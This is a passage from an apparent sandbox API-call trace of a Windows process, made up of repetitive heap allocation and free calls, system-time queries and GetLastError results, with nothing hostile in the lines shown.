dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea493fe0, dwHighDateTime=0x1d595b2)) [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.585] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4966f0, dwHighDateTime=0x1d595b2)) [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.586] GetLastError () returned 0x578 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.586] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.586] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea498e00, dwHighDateTime=0x1d595b2)) [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea498e00, dwHighDateTime=0x1d595b2)) [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea498e00, dwHighDateTime=0x1d595b2)) [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea498e00, dwHighDateTime=0x1d595b2)) [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49b510, dwHighDateTime=0x1d595b2)) [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.587] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.587] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49b510, dwHighDateTime=0x1d595b2)) [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49b510, dwHighDateTime=0x1d595b2)) [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.588] GetLastError () returned 0x578 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.588] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.588] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea49dc20, dwHighDateTime=0x1d595b2)) [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.589] GetLastError () returned 0x578 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.589] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4a0330, dwHighDateTime=0x1d595b2)) [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4a0330, dwHighDateTime=0x1d595b2)) [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4a0330, dwHighDateTime=0x1d595b2)) [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.590] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea4a0330, dwHighDateTime=0x1d595b2)) [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.590] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.757] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.757] GetLastError () returned 0x578 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8b8 [0172.757] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8c8 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a8 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x18) returned 0x222e2a0 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x24) returned 0x222e090 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e2a0 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x34) returned 0x222e0c0 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0c0 | out: hHeap=0x2220000) returned 1 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8c8 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x8) returned 0x222d8b8 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8c8 | out: hHeap=0x2220000) returned 1 [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0xc) returned 0x222e090 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8b8 | out: hHeap=0x2220000) returned 1 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e090 | out: hHeap=0x2220000) returned 1 [0172.758] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d8a8 | out: hHeap=0x2220000) returned 1 [0172.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xea62e260, dwHighDateTime=0x1d595b2)) [0172.758] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d8a8 [0172.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: 